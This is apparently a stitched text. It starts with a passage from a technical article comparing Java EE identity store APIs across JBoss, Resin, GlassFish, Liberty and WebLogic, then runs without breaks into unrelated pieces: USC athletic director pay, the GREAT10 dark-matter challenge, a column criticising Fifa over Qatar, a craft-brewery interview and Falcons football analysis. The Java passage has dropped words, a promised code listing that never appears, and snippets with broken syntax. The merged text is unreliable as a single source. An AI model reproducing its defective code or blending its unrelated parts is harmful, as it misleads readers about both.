getUsersPassword() has to return the actual password for the provided username, so the base code can compare it against the provided password. If those passwords match getRoleSets() is called to retrieve the roles associated with the username. Note that JBoss typically does not map groups to roles, so it returns roles here which are then later on passed into APIs that normally would expect groups. In both methods the username is available via a call to getUsername().
The "real" contract as *hypothetical* interface could be thought of to look as follows:
public interface JBossIdentityStore { String getUsersPassword(String username); Group[] getRoleSets(String username) throws LoginException; }
Example of usage
There's no direct usage of the LoginModule in JBoss. JBoss EAP 7/WildFly 8-9-10 directly uses Undertow as its Servlet container, which means the authentication mechanisms shipped with that uses the IdentityManager interface exactly as shown above in the Undertow section.
For usage in JBoss there's a bridge implementation of the IdentityManager to the JBoss specific JAAS LoginModule available.
The "identityManager.verify(userName, credential)" call shown above ends up at JAASIdentityManagerImpl#verify. This first wraps the username, but extracts the password from PasswordCredential. Abbreviated it looks as follows:
public Account verify(String id, Credential credential) { if (credential instanceof DigestCredential) { // .. } else if(credential instanceof PasswordCredential) { return verifyCredential( new AccountImpl(id), copyOf(((PasswordCredential) credential).getPassword()) ); } return verifyCredential(new AccountImpl(id), credential); }
The next method called in the "password chain" is somewhat troublesome, as it doesn't just return the account details, but as an unavoidable side-effect also puts the result of authentication in TLS. It takes a credential as an Object and delegates further to anmethod. This one uses a Subject as an output parameter (meaning it doesn't return the authentication data but puts it inside the Subject that's passed in). The calling method then extracts this authentication data from the subject and puts it into its own type instead.
Abbreviated again this looks as follows:
private Account verifyCredential(AccountImpl account, Object credential) Subject subject = new Subject(); boolean isValid = securityDomainContext .getAuthenticationManager() .isValid(account.getOriginalPrincipal(), credential, subject); if (isValid) { // Stores details in TLS getSecurityContext() .getUtil() .createSubjectInfo(account.getOriginalPrincipal(), credential, subject); return new AccountImpl( getPrincipal(subject), getRoles(subject), credential, account.getOriginalPrincipal() ); } return null; }
The next method being called ison a type called AuthenticationManager. Via two intermediate methods this ends up calling proceedWithJaasLogin
This method obtains a LoginContext, which wraps a Subject, which wraps the Principal and roles shown above (yes, there's a lot of wrapping going on). Abbreviated the method looks as follows:
private boolean proceedWithJaasLogin(Principal principal, Object credential, Subject theSubject) { try { copySubject(defaultLogin(principal, credential).getSubject(), theSubject); return true; } catch (LoginException e) { return false; } }
The defaultLogin() method finally just calls plain Java SE JAAS code, although just before doing that it uses reflection to call a setSecurityInfo() method on the CallbackHandler. It's remarkable that even though this method seems to be required and known in advance, there's no interface used for this. The handler being used here is often of the type JBossCallbackHandler.
Brought back to its essence the method looks like this:
private LoginContext defaultLogin(Principal principal, Object credential) throws LoginException { CallbackHandler theHandler = (CallbackHandler) handler.getClass().newInstance(); setSecurityInfo.invoke(theHandler, new Object[] {principal, credential}); LoginContext lc = new LoginContext(securityDomain, subject, handler); lc.login(); return lc; }
Via some reflective magic the JAAS code shown here will locate, instantiate and at long last will call our custom LoginModule's initialize(), login() and commit() methods, which on their turn will call the two methods that we needed to implement in our subclass.
Resin
Resin calls its identity store "Authenticator". It's represented by a single interface shown below:
public interface Authenticator { String getAlgorithm(Principal uid); Principal authenticate(Principal user, Credentials credentials, Object details); boolean isUserInRole(Principal user, String role); void logout(Principal user); }
There are a few things to remark here. Themethod doesn't seem to make much sense, since it's the authentication mechanism that keeps track of the login state in the overarching server. Indeed, the method does not seem to be called by Resin, and there are no identity stores implementing it except for thethat does nothing there.
isUserInRole() is somewhat remarkable as well. This method is not intended to check for the roles of any given user, such as you could for instance use in an admin UI. Instead, it's intended to be used by the HttpServletRequest#isUserInRole call, and therefor only for the *current* user. This is indeed how it's used by Resin. This is remarkable, since most other systems keep the roles in memory. Retrieving it from the identity store every time can be rather heavyweight. To combat this, Resin uses a CachingPrincipal, but an identity store implementation has to opt-in to actually use this.
Example of usage
The code below shows an example of how Resin actually uses its identity store. The following shortened fragment is taken from the implementation of the Servlet FORM authentication mechanism in Resin.
// Obtain reference to identity store Authenticator auth = getAuthenticator(); // .. String userName = request.getParameter("j_username"); String passwordString = request.getParameter("j_password"); if (userName == null || passwordString == null) return null; char[] password = passwordString.toCharArray(); BasicPrincipal basicUser = new BasicPrincipal(userName); Credentials credentials = new PasswordCredentials(password); // Delegating of authentication mechanism to identity store user = auth.authenticate(basicUser, credentials, request); return user;
A nice touch here is that Resin obtains the identity store via CDI injection. A somewhat unknown fact is that Resin has its own CDI implementation, CanDI and uses it internally for a lot of things. Unlike some other servers, the call to authenticate() here goes straight to the identity store. There are no layers of lookup or bridge code in between.
That said, Resin does encourage (but not require) the usage of an abstract base class it provides: AbstractAuthenticator. IFF this base class is indeed used (again, this is not required), then there are a few levels of indirection the flow goes through before reaching one's own code. In that case, the authenticate() call shown above will start with delegating to one of three methods for known credential types. This is shown below:
public Principal authenticate(Principal user, Credentials credentials, Object details) { if (credentials instanceof PasswordCredentials) return authenticate(user, (PasswordCredentials) credentials, details); if (credentials instanceof HttpDigestCredentials) return authenticate(user, (HttpDigestCredentials) credentials, details); if (credentials instanceof DigestCredentials) return authenticate(user, (DigestCredentials) credentials, details); return null; }
Following the password trail, the next level will merely extract the password string:
protected Principal authenticate(Principal principal, PasswordCredentials cred, Object details) { return authenticate(principal, cred.getPassword()); }
The next authenticate method will call into a more specialized method that only obtains a User instance from the store. This instance has the expected password embedded, which is then verified against the provided password. Abbreviated it looks as follows:
protected Principal authenticate(Principal principal, char[] password) { PasswordUser user = getPasswordUser(principal); if (user == null || user.isDisabled() || (!isMatch(principal, password, user.getPassword()) && !user.isAnonymous())) return null; return user.getPrincipal(); }
The getPasswordUser() method goes through one more level of convenience, where it extracts the caller name that was wrapped by the Principal:
protected PasswordUser getPasswordUser(Principal principal) { return getPasswordUser(principal.getName()); }
This last call to getPasswordUser(String) is what typically ends up in our own custom identity store.
Finally, it's interesting to see what data PasswordUser contains. Abbreviated again this is shown below:
public class PasswordUser { Principal principal; char[] password; boolean disabled; boolean anonymous; String[] roles; }
Glassfish
GlassFish identity stores are based on the JAAS LoginModule, which is shown below:
public interface LoginModule { void initialize(Subject subject, CallbackHandler callbackHandler, Map<String,?> sharedState, Map<String,?> options); boolean login() throws LoginException; boolean commit() throws LoginException; boolean abort() throws LoginException; boolean logout() throws LoginException; }
Just as we saw with JBoss above, the LoginModule interface is again used in a very application server specific way. In practice, you don't just implement a LoginModule but inherit from com.sun.enterprise.security.BasePasswordLoginModule or it's empty subclass com.sun.appserv.security.AppservPasswordLoginModule for password based logins, or com.sun.appserv.security.AppservCertificateLoginModule/com.sun.enterprise.security.BaseCertificateLoginModule for certificate ones.
As per the JavaDoc of those classes, the only method that needs to be implemented is authenticateUser(). Inside that method the username is available via the protected variable(!) "_username", while the password can be obtained via getPasswordChar(). When a custom identity store is done with its work commitUserAuthentication() has to be called with an array of groups when authentication succeeded and a LoginException thrown when it failed. So essentially that's the "real" contract for a custom login module. The fact that the other functionality is in the same class is more a case of using inheritance where aggregation might have made more sense. As we saw with JBoss, the LoginModule interface itself seems more like an implementation detail instead of something a client can really take advantage of.
The "real" contract as *hypothetical* interface looks as follows:
public interface GlassFishIdentityStore { String[] authenticateUser(String username, char[] password) throws LoginException; }
Even though a LoginModule is specific for a type of identity store (e.g. File, JDBC/database, LDAP, etc), LoginModules in GlassFish are mandated to be paired with another construct called a Realm. While having the same name as the Tomcat equivalent and even a nearly identical description, the type is completely different. In GlassFish it's actually a kind of DAO, albeit one with a rather heavyweight contract.
Most of the methods of this DAO are not actually called by the runtime for authentication, nor are they used by application themselves. They're likely intended to be used by the GlassFish admin console, so a GlassFish administrator can add and delete users. However, very few actual realms support this and with good reason. It just doesn't make much sense for many realms really. E.g. LDAP and Solaris have their own management UI already, and JDBC/database is typically intended to be application specific so there the application already has its own DAOs and services to manage users, and exposes its own UI as well.
A custom LoginModule is not forced to use this Realm, but the base class code will try to instantiate one and grab its name, so one must still be paired to the LoginModule.
The following lists the public and protected methods of this Realm class. Note that the body is left out for the non-abstract methods.
public abstract class Realm implements Comparable { public static synchronized Realm getDefaultInstance(); public static synchronized String getDefaultRealm(); public static synchronized Enumeration getRealmNames(); public static synchronized void getRealmStatsProvier(); public static synchronized Realm getInstance(String); public static synchronized Realm instantiate(String, File); public static synchronized Realm instantiate(String, String, Properties); public static synchronized void setDefaultRealm(String); public static synchronized void unloadInstance(String); public static boolean isValidRealm(String); protected static synchronized void updateInstance(Realm, String); public abstract void addUser(String, String, String[]); public abstract User getUser(String); public abstract void updateUser(String, String, String, String[]); public abstract void removeUser(String); public abstract Enumeration getUserNames(); public abstract Enumeration getGroupNames(); public abstract Enumeration getGroupNames(String); public abstract void persist(); public abstract void refresh(); public abstract AuthenticationHandler getAuthenticationHandler(); public abstract boolean supportsUserManagement(); public abstract String getAuthType(); public int compareTo(Object); public String FinalgetName(); public synchronized String getJAASContext(); public synchronized String getProperty(String); public synchronized void setProperty(String, String); protected void init(Properties); protected ArrayList<String> getMappedGroupNames(String); protected String[] addAssignGroups(String[]); protected final void setName(String); protected synchronized Properties getProperties(); }
Example of usage
To make matters a bit more complicated, there's no direct usage of the LoginModule in GlassFish either. GlassFish' Servlet container is internally based on Tomcat, and therefor the implementation of the FORM authentication mechanism is a Tomcat class (which strongly resembles the class in Tomcat itself, but has small differences here and there). Confusingly, this uses a class named Realm again, but it's a totally different Realm than the one shown above. This is shown below:
// Obtain reference to identity store Realm realm = context.getRealm(); String username = hreq.getParameter(FORM_USERNAME); String pwd = hreq.getParameter(FORM_PASSWORD); char[] password = ((pwd != null)? pwd.toCharArray() : null); // Delegating of authentication mechanism to identity store principal = realm.authenticate(username, password); if (principal == null) { forwardToErrorPage(request, response, config); return (false); } if (session == null) session = getSession(request, true); session.setNote(FORM_PRINCIPAL_NOTE, principal);
This code is largely identical to the Tomcat version shown above. The Tomcat Realm in this case is not the identity store directly, but an adapter called RealmAdapter. It first calls the following slightly abbreviated method for the password credential:
public Principal authenticate(String username, char[] password) { if (authenticate(username, password, null)) { return new WebPrincipal(username, password, SecurityContext.getCurrent()); } return null; }
protected boolean authenticate(String username, char[] password, X509Certificate[] certs) { try { if (certs != null) { // ... create subject LoginContextDriver.doX500Login(subject, moduleID); } else { LoginContextDriver.login(username, password, _realmName); } return true; } catch (Exception le) {} return false; }
public static void login(String username, char[] password, String realmName){ Subject subject = new Subject(); subject.getPrivateCredentials().add(new PasswordCredential(username, password, realmName)); LoginContextDriver.login(subject, PasswordCredential.class); }
Which on its turn calls the following abbreviated method that handles two supported types of credentials:Again (strongly) abbreviated the login method called looks as follows:
This new login method checks for several credential types, which abbreviated looks as follows:
public static void login(Subject subject, Class cls) throws LoginException { if (cls.equals(PasswordCredential.class)) doPasswordLogin(subject); else if (cls.equals(X509CertificateCredential.class)) doCertificateLogin(subject); else if (cls.equals(AnonCredential.class)) { doAnonLogin(); else if (cls.equals(GSSUPName.class)) { doGSSUPLogin(subject); else if (cls.equals(X500Name.class)) { doX500Login(subject, null); else throw new LoginException("Unknown credential type, cannot login."); }
As we're following the password trail, we're going to look at the doPasswordLogin() method here, which strongly abbreviated looks as follows:
private static void doPasswordLogin(Subject subject) throws LoginException try { new LoginContext( Realm.getInstance( getPrivateCredentials(subject, PasswordCredential.class).getRealm() ).getJAASContext(), subject, dummyCallback ).login(); } catch (Exception e) { throw new LoginException("Login failed: " + e.getMessage()).initCause(e); } }
We're now 5 levels deep, and we're about to see our custom login module being called.
At this point it's down to plain Java SE JAAS code. First the name of the realm that was stuffed into a PasswordCredential which was stuffed into a Subject is used to obtain a Realm instance of the type that was shown way above; the GlassFish DAO like type. Via this instance the realm name is mapped to another name; the "JAAS context". This JAAS context name is the name under which our LoginModule has to be registered. The LoginContext does some magic to obtain this LoginModule from a configuration file and initializes it with the Subject among others. The login(), commit() and logout() methods can then make use of this Subject later on.
At long last, the login() method call (via 2 further private helper methods, not shown here) will at 7 levels deep cause the login() method of our LoginModule to be called. This happens via reflective code which looks as follows:
// methodName == "login" here // find the requested method in the LoginModule for (mIndex = 0; mIndex < methods.length; mIndex++) { if (methods[mIndex].getName().equals(methodName)) break; } // set up the arguments to be passed to the LoginModule method Object[] args = { }; // invoke the LoginModule method boolean status = ((Boolean) methods[mIndex].invoke(moduleStack[i].module, args)).booleanValue();
final public boolean login() throws LoginException { // Extract the username, password and realm name from the Subject extractCredentials(); // Delegate the actual authentication to subclass (finally!) authenticateUser(); return true; }
But remember that in GlassFish we didn't directly implemented LoginModule#login() but the abstract authenticateUser() method of the BasePasswordLoginModule, so we still have one more level to go. The final call at level 8 that causes our very own custom method to be called can be seen below:
Liberty
Liberty calls its identity stores "user registry". It's shown below:
public interface UserRegistry { void initialize(Properties props) throws CustomRegistryException, RemoteException; String checkPassword(String userSecurityName, String password) throws PasswordCheckFailedException, CustomRegistryException, RemoteException; String mapCertificate(X509Certificate[] certs) throws CertificateMapNotSupportedException, CertificateMapFailedException, CustomRegistryException, RemoteException; String getRealm() throws CustomRegistryException, RemoteException; Result getUsers(String pattern, int limit) throws CustomRegistryException, RemoteException; String getUserDisplayName(String userSecurityName) throws EntryNotFoundException, CustomRegistryException, RemoteException; String getUniqueUserId(String userSecurityName) throws EntryNotFoundException, CustomRegistryException, RemoteException; String getUserSecurityName(String uniqueUserId) throws EntryNotFoundException, CustomRegistryException, RemoteException; boolean isValidUser(String userSecurityName) throws CustomRegistryException, RemoteException; Result getGroups(String pattern, int limit) throws CustomRegistryException, RemoteException; String getGroupDisplayName(String groupSecurityName) throws EntryNotFoundException, CustomRegistryException, RemoteException; String getUniqueGroupId(String groupSecurityName) throws EntryNotFoundException, CustomRegistryException, RemoteException; List getUniqueGroupIds(String uniqueUserId) throws EntryNotFoundException, CustomRegistryException, RemoteException; String getGroupSecurityName(String uniqueGroupId) throws EntryNotFoundException, CustomRegistryException, RemoteException; boolean isValidGroup(String groupSecurityName) throws CustomRegistryException, RemoteException; List getGroupsForUser(String groupSecurityName) throws EntryNotFoundException, CustomRegistryException, RemoteException; WSCredential createCredential(String userSecurityName) throws NotImplementedException, EntryNotFoundException, CustomRegistryException, RemoteException; }
As can be seen it's clearly one of the most heavyweight interfaces for an identity store that we've seen till this far. As Liberty is closed source we can't exactly see what the server uses all these methods for.
As can be seen though it has methods to list all users and groups that the identity store manages (getUsers(), getGroups()) as well as methods to get what IBM calls a "display name", "unique ID" and "security name" which are apparently associated with both user and role names. According to the published JavaDoc display names are optional. It's perhaps worth it to ask the question if the richness that these name mappings potentially allow for are worth the extra complexity that's seen here.
createCredential() stands out as the JavaDoc mentions it's never been called for at least the 8.5.5 release of Liberty.
The main method that does the actual authentication is checkPassword(). It's clearly username/password based. Failure has to be indicated by trowing an exception, success returns the passed in username again (or optionally any other valid name, which is a bit unlike what most other systems do). There's support for certificates via a separate method, mapCertificate(), which seemingly has to be called first, and then the resulting username passed into checkPassword() again.
Example of usage
Since Liberty is closed source we can't actually see how the server uses its identity store. Some implementation examples are given by IBM and myself.
WebLogic
It's not entirely clear what an identity store in WebLogic is really called. There are many moving parts. The overall term seems to be "security provider", but these are subdivided in authentication providers, identity assertion providers, principal validation providers, authorization providers, adjudication providers and many more providers.
One of the entry points seems to be an "Authentication Provider V2", which is given below:
public interface AuthenticationProviderV2 extends SecurityProvider { AppConfigurationEntry getAssertionModuleConfiguration(); IdentityAsserterV2 getIdentityAsserter(); AppConfigurationEntry getLoginModuleConfiguration(); PrincipalValidator getPrincipalValidator(); }
Here it looks like the getLoginModuleConfiguration() has to return an AppConfigurationEntry that holds the fully qualified class name of a JAAS LoginModule, which is given below:
public interface LoginModule { void initialize(Subject subject, CallbackHandler callbackHandler, Map<String,?> sharedState, Map<String,?> options); boolean login() throws LoginException; boolean commit() throws LoginException; boolean abort() throws LoginException; boolean logout() throws LoginException; }
WebLogic's usage of the LoginModule is not as highly specific to the application server as we saw was the case for JBoss and GlassFish. The user can implement the interface directly, but has to put WebLogic specific principals in the Subject as these are not standardized
Example of usage
Since WebLogic is closed source it's not possible to see how it actually uses the Authentication Provider V2 and its associated Login Module.
Conclusion
We took a look at how a number of different servlet containers implemented the identity store concept. The variety of ways to accomplish essentially the same thing is nearly endless. Some containers pass two strings for a username and password, others pass a String for the username, but a dedicated Credential type for the password, a char[] or even an opaque Object for the password. Two containers pass in a third parameter; the http servlet request.
The return type is varied as well. A (custom) Principal was used a couple of times, but several other representations of "caller data" were seen as well; like an "Account" and a "UserIdentity". In one case the container deemed it necessary to modify TLS to set the result.
The number of levels (call depth) needed to go through before reaching the identity store was different as well between containers. In some cases the identity store was called immediately with absolutely nothing in between, while in other cases up to 10 levels of bridging, adapting and delegating was done before the actual identity store was called.
Taking those intermediate levels into account revealed even more variety. We saw complete LoginContext instances being returned, we saw Subjects being used as output parameters, etc. Likewise, the mechanism to indicate success or failure ranged from an exception being thrown, via a boolean being returned, to a null being returned for groups.
One thing that all containers had in common though was that there's always an authentication mechanism that interacts with the caller and environment and delegates to the identity store. Then, no matter how different the identity store interfaces looked, every one of them had a method to perform the {credentials in, caller data out} function.
It's exactly this bare minimum of functionality that is arguably in most dire need of being standardised in Java EE. As it happens to be the case this is indeed what we're currently looking at in the security EG.
The University of Southern California’s soon-to-be departing athletics director, Pat Haden, was credited with more than $2.9 million in total compensation during the 2014 calendar year, according to the university's new federal tax return.
The figure almost certainly makes Haden the nation’s highest-paid college athletics director. It represents a more than $400,000 increase over the total pay reported for him in 2013.
The new return — provided in response to a request from USA TODAY Sports — shows that Haden’s total includes nearly $1.4 million in base compensation and $1.2 million in bonus pay.
Most of Haden's increase occurred in the bonus component of compensation, which had been $900,000 in each of the past two years and $800,000 in 2011. His base rose by about $50,000 in 2014.
As a private school, USC is not required to make its employment contracts public.
Haden's total compensation for 2014 is almost $300,000 greater than the sum of amounts recently reported for that year for Notre Dame AD Jack Swarbrick ($1.605 mlllion) and Duke AD Kevin White ($1.04 million).
"Pat Haden's compensation was set by the president and approved by the compensation committee of the USC Board of Trustees," USC President C.L. Max Nikias said in a statement to USA TODAY Sports. "We believe that Pat Haden was the very best AD in America. He took a significant pay cut when he accepted my offer to become the AD at USC. He was a great administrator, excellent communicator and proved to be a great fundraiser.
"He inherited a very challenging athletics department with the harshest penalties imposed by the NCAA and did an outstanding job turning things around. The Trojan family was lucky to have him."
Haden left a private equity firm to become USC's AD in the summer of 2010, when the school athletics program was in disarray in a variety areas, including NCAA sanctions against the football program. When Haden announced his retirement in February, Nikias issued a lengthy memorandum to the USC community that was effusive in its praise of Haden, saying in part: "Our campus now bears Pat Haden’s stamp in perpetuity."
Haden is stepping down this summer and will be succeeded by former Trojans football great Lynn Swann.
In addition to the information about Haden, the document also shows that USC paid more than $2.4 million in severance to former football coach Lane Kiffin, who was fired in October 2013, and that then-current football coach Steve Sarkisian was credited with total compensation of just under $3.7 million. Sarkisian was fired in October 2015.
The return also provides the first look at the compensation of men’s basketball coach Andy Enfield, who was hired by the school in April 2013. In his first full calendar year at USC, Enfield was credited with a total of just more than $1.9 million, including $1.55 million in base pay and $124,500 in bonus money.
Cosmologists hope gamers, programmers, computer scientists and geeks-of-all-trades can help them identify evidence of dark matter. An international group of astronomers are hosting a competition, called GREAT10 (for GRavitational lEnsing Accuracy Testing), to come up with better ways to analyze distorted images of galaxies – the signatures of invisible dark matter lurking in the universe.
Massive clumps of matter can act as a giant cosmic magnifying glass, distorting space-time in their immediate vicinity. Light traveling through the matter clump is warped and distorted, a phenomenon called gravitational lensing.
Sometimes the distortions are obvious, like in the Hubble image of a distant galaxy cluster above. But sometimes they're too subtle to be picked out by human eyes, and can even be confused with noise from the telescope used to take the galaxies' picture.
So cosmologists have turned to machine learning algorithms that teach computers to recognize patterns.
"We're trying to teach computers to pick out the correct shape given all sorts of other noise around the galaxy's shape," said NASA cosmologist Jason Rhodes, who is helping to organize the challenge. "We have our ideas as a community about how to do this, but we realized a few years ago that it was quite possible there were ideas we weren't familiar with."
The competition is designed to bring fresh ideas from machine learning and computer science experts. But the challenge is open to anyone.
"The image manipulation software and techniques used in gaming and some digital cameras are very similar," said astrophysicist Thomas Kitching of the University of Edinburgh, which is helping to sponsor the event. "Anyone with experience in image manipulation and software development would be in a good position to enter the competition."
Rhodes compares GREAT to other citizen science and engineering challenges, like the X-Prize private spaceflight competitions or the Netflix Prize to improve the movie rental website's recommendation algorithms. Those challenges promised million-dollar prizes, which is beyond the cosmology community's budget. But the GREAT10 winner will probably get an iPad or a Mac laptop.
And the real grand prize is helping to solve one of the trickiest and most fundamental puzzles in astronomy: What is the universe made of?
Ultimately, the computer programs developed for the GREAT challenge will be used to help unmask dark matter and dark energy, the mysterious stuff that makes up 95 percent of the universe.
By studying slightly distorted galaxies, scientists can make detailed maps of dark matter, the stubbornly invisible stuff that makes up 24 percent of the universe and makes itself known through gravitational tugs on regular visible matter. Knowing where the dark matter is and how it changes over time will help astronomers decipher dark energy, an even more mysterious substance that makes up 72 percent of the universe.
"The most exciting thing about this is that we are taking an interdisciplinary approach to one of the most pressing problems in all of science," Rhodes said. "The ultimate goal here is really to develop methods for studying the composition of the universe and the ultimate fate of the universe. People who haven’t spent their lives studying cosmology can make a real contribution via the GREAT10 challenge."
Image: Light bends around the massive galaxy cluster Abell 2218 in this image from the Hubble Space Telescope. Credit: Andrew Fruchter (STScI) et al., WFPC2, HST, NASA
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The greatest trick Fifa ever pulled – or at the very least, one of their top 10 – is acting as though the big question mark over the Qatar World Cup is the weather. By hook and by crooks, a brilliant piece of misdirection has seen almost the entire discussion centred on a roastingly heated debate about the tournament shifting seasons.
I'm not totally across the rules of apocalypse bingo. But I'm pretty sure that the second that people care more about how a winter World Cup will affect the Champions League schedule than the fact it's being built by slaves in a non-democracy, we all move closer to a full house.
A Guardian investigation has uncovered abuse of migrant workers in Qatar, with huge numbers dying, and working practices in various infrastructure projects amounting to modern-day slavery. Like Captain Renault in the Casablanca gambling den, Fifa professes itself shocked – shocked! – to find this going on in Qatar; and you, wide-eyed readers, will very likely have spent much of the week on the smelling salts yourself. In fact, I can't decide whether I am more shocked by the discovery that workers are appallingly exploited in these building binges in the emirates, or the discovery that summer in Qatar is quite warm.
Yet even I can't synthesise surprise at leaks from this week's Fifa meeting in Zurich, which indicate they will stick with Qatar for 2022, and not reopen the dubious vote to allow wishy-washy non-authoritarian states another chance. Apologies for the repetition, but Fifa is much less of an international sporting administrator than it is a supranational privateer. It is a parasite body, which descends on the appropriately named "host" nation every four years, siphons billions of tax-free profit out of it at the same time as overriding its laws and constitution to suit its needs, before buggering off in search of new blood. What on earth does anyone imagine it wants with democracies?
But please don't take it from me – Fifa itself is increasingly clear on the matter. "I will say something crazy," declared its chillingly sane secretary general, Jérôme Valcke, back in April, "but less democracy is sometimes better for organising a World Cup." A statement that should for ever lay to rest Fifa's nonsense about the tournament's power to change the world for good.
Far from being the catalyst for progress its corporate folklore always holds it to be, the World Cup is in the gift of those irked by so-called advances for the little people – democracy, say, or the right to protest – and who believe it much better staged where those required to pay for it are voiceless.
Or, as Valcke added: "When you have a very strong head of state who can decide, as maybe Putin can do in 2018, that is easier for us organisers than a country such as Germany … where you have to negotiate at different levels."
How trying it must be. Happily, South Africa – Fifa's most recent ATM – rolled over very easily in 2010, with the scale of their obedience so total that Blatter was sufficiently emboldened to put the recently bereaved Nelson Mandela under "extreme pressure" to show himself at the final. As I say, I don't play apocalypse bingo. But if you had your dabber in your hand, the moment Sepp Blatter successfully pulled rank on the unofficial elder of the entire global village was probably one to cross off.
As for the demonstrations in Brazil ahead of next year's tournament, Blatter seems nostalgic for simpler South American times.
"I was happy Argentina won," he declared of the victorious hosts of the 1978 World Cup, held under military government. "This was a kind of reconciliation with the public, of the people of Argentina, with the system, the political system, the military system at the time." Mmm. Perhaps when Herr Blatter finally retires, having held power longer than most dictators, he could write a musical entitled Oh, What A Lovely Dirty War!
What a historian he is, and we can only imagine the spin he will put on the deaths of those labourers in Qatar in 10 years' time. They were not slaves – they were freedom fighters in the unimpeachable cause of football's mission to build a better tomorrow. Or a better food court, or something.
The one thing we'll never hear, of course, is a decent argument for why on earth non-democracies are even eligible to bid for Fifa's bauble – yet no attempt to get us to chat about the weather should stop this fundamental question being asked of Fifa at every turn. After all, if hosting an Olympics or a World Cup were even remotely likely to advance the cause of human freedom in their countries, does anyone think the likes of China and Qatar would be as keen to host them as they are?
Tell us a little bit about your background and how you became interested in beer.
I started as a home brewer quite a few years ago, but I wasn't really all that into beer at the time. I didn't really drink that much at the time, so I didn't keep it up. I put it away for, like, 10 years. Years later, I met my wife and we started going to beer bars and breweries and I got obsessed with sour beers. Soon after, I decided I'd start brewing beer again. That's really how I started home-brewing again, I just wanted more access to sour beers. I was brewing at home seriously for about a year or so, and I brewed two successful beers back to back, beers that became our Lyric Ale and Atalanta. I decided at that time that I might be able to make a brewery out of it, but I was working as a trumpet player at the time and a brewery was not going to happen. So, I developed this fantasy brand called Orpheus Brewing, and thought maybe one day down the road I'd save up money and open a small brewery. I'm friends with Nick Rutherford and Molly Gunn, owners of the Porter, and it was late-night discussions about beer with Nick that lead me to think I could be brewing instead of just drinking. I met my partner Andrew Lorber through Molly, and we opened Orpheus about two years after our initial meeting. We opened this current brewery space about 14 months ago.
Are there any special beers that stand out as memorable for you in your beer-drinking and brewing journey?
My lightbulb beer was a Duchesse de Bourgogne I had in 2009, my first sour beer. That's what really got me turned on to the sour beer thing. That's actually a sweet-and-sour beer, but I tend to like less sweet at this point. Actually, the first five barrels we filled in our barrel room are what I consider my tribute barrels, they use dregs from five breweries that have been most influential to me: Cantillon, Fantome, Russian River Brewing, Jolly Pumpkin, and Drie Fonteinen.
How do you feel Orpheus stands out from other breweries in the growing craft brewery scene around Atlanta?
The craft beer scene here is getting more crowded, but we're still way behind places like Portland, for example. When I first started brewing, one of the things I wanted to do was make beers that I couldn't buy. Basically, I brew for selfish reasons, I started by brewing things I want to drink, which is why we focus on sour beers. We're doing a big volume on Atalanta, in a way I was hoping we would do. But, that's a six-pack sour, and while that seems more doable now, at the time I started brewing it there wasn't a lot of canned sours available. The sour beers that we do are certainly a niche for us. I also think our sour barrel room also sets us apart. It isn't just a barrel room, it's also a sour room. The air in the sour beer room is alive. We have open fermenters for spontaneous fermentations where all of the bacteria come from the open air of the room. Almost all of the beer aging in our sour barrels came from our open fermenters.
Aside from sour beers, what other types of beers are you focusing on brewing now?
We did recently start brewing hoppy beers, and while I never intended to brew an India Pale Ale here, I like the potential of hops. I find many IPAs to be aggressively bitter. In an attempt to balance all the hops, IPAs often have way too much of a toasty-caramel malt thing that clashes with the tropical fruit and citrus flavors and is to me one of the worst beer combinations there is. When I started brewing hoppy beers I was going for a less-bitter beer, an IPA that could really highlight the naturally fruity and floral aspect of the hops. Our two best sellers now are easily Atalanta, our first sour, and Transmigration of Souls, the first of our IPAs we put into a six pack. We also have Peace. War. Truth. Lie., our session IPA that is newly canned and selling well now.
Tell us a bit about the ongoing struggles craft brewers face in Georgia, in terms of the laws and regulations.
The laws changed slightly a few weeks ago, but they didn't change enough for us to really alter what we do here. We do get a little bit more revenue through our tasting room. But, we put a whole lot of money into our barrel-aged beers, and we can't sell those by the glass as we would have a hard time recouping that cost in the tasting room. So, you'll rarely see barrel-aged beers on tap here. When you are limited on how customers can take beer home from the brewery, it makes things very difficult. We still can't "sell" beer here, we can include up to 72 ounces of beer as a souvenir as part of a brewery tour package, but it has to be part of a tour with a tour guide. There are still ridiculous barriers in place for customers who might just want to buy our beer from us.
Can you talk a little bit about current production and future plans for Orpheus?
We are brewing at capacity right now. Actually, since Transmigration of Souls came out we have been at full capacity, which is about 400 to 450 barrels per month. It's been busy lately. We recently brought on two more brewers. In the past year we've gone from five employees to close to a total of 20 regular and part-time employees. As for the future, I would like to see our barrel-aging room expanded. I'd like to eventually spend most of my time with barrels and barrel-blending and aging so that we will have steady barrel releases. At some point soon we will be looking at a second facility as we will eventually outgrow this space.
When can people come visit the brewery?
The tasting room is open for tours on Thursday and Friday from 6 to 9 and Saturday and Sunday from 2 to 5.
What are you drinking these days when not drinking beer?
Rum. Old rum, actually. A recent favorite is the Zafra 21 year. I really also like the Diplomatico rums. Actually, I don't want people to know that rum is such a great deal. You can get really great aged rum, as great as any rare bourbon you've had, for like $40 per bottle.
But Falcons fans shouldn’t fret. On film, the 1-4, Stage 2 Falcons haven’t looked significantly different from the Stage 1 Falcons who started 5-0. And, OK, maybe the Stage 1 Falcons were not quite as good as their record indicated, but those five wins are a more accurate portrayal of the 2015 Falcons than the club’s four losses. The biggest difference between Stage 1 and 2 has been the dreaded turnover.
Matt Ryan had two particularly costly interceptions Sunday against the Colts. The first was in the end zone after safety Clifton Geathers had an outstanding reaction to a Roddy White in-breaking route. Geathers tipped the pass, and safety Dwight Lowery caught the flutter ball. Good defense. The second interception, however, was a combination of good defense and bad offense. With the Falcons backed up near their own goal line, Ryan executed a play-action fake. Linebacker D’Qwell Jackson reacted to the run look but quickly retreated back into shallow coverage, playing Atlanta’s tendencies to run slant routes off of play-action. Ryan never accounted for the veteran linebacker, whose easy pick-six was the game’s turning point.
Two weeks before, in the loss at San Francisco, the Falcons had no turnovers, but they couldn’t run the ball. Devonta Freeman, the league’s leading rusher coming into that contest, was held to 12 yards on 12 carries. Chalk it up to the “It Happens” phenomenon; the 49ers’ three-man defensive line was tremendous that day, and the Falcons as a team have averaged 123.1 yards rushing in all their other contests. Assuming Freeman’s concussion doesn’t sideline him long-term, there’s nothing to worry about with the ground game, even after a subpar performance against the Colts. (Like the Niners, the Colts play a 3-4 defense, but all of Atlanta’s remaining opponents run a 4-3.)
• A QUARTERBACK AND HIS GAME PLAN: Carson Palmer gave an unprecedented behind-the-scenes look as the veteran QB digested a deep and complex NFL game plan.
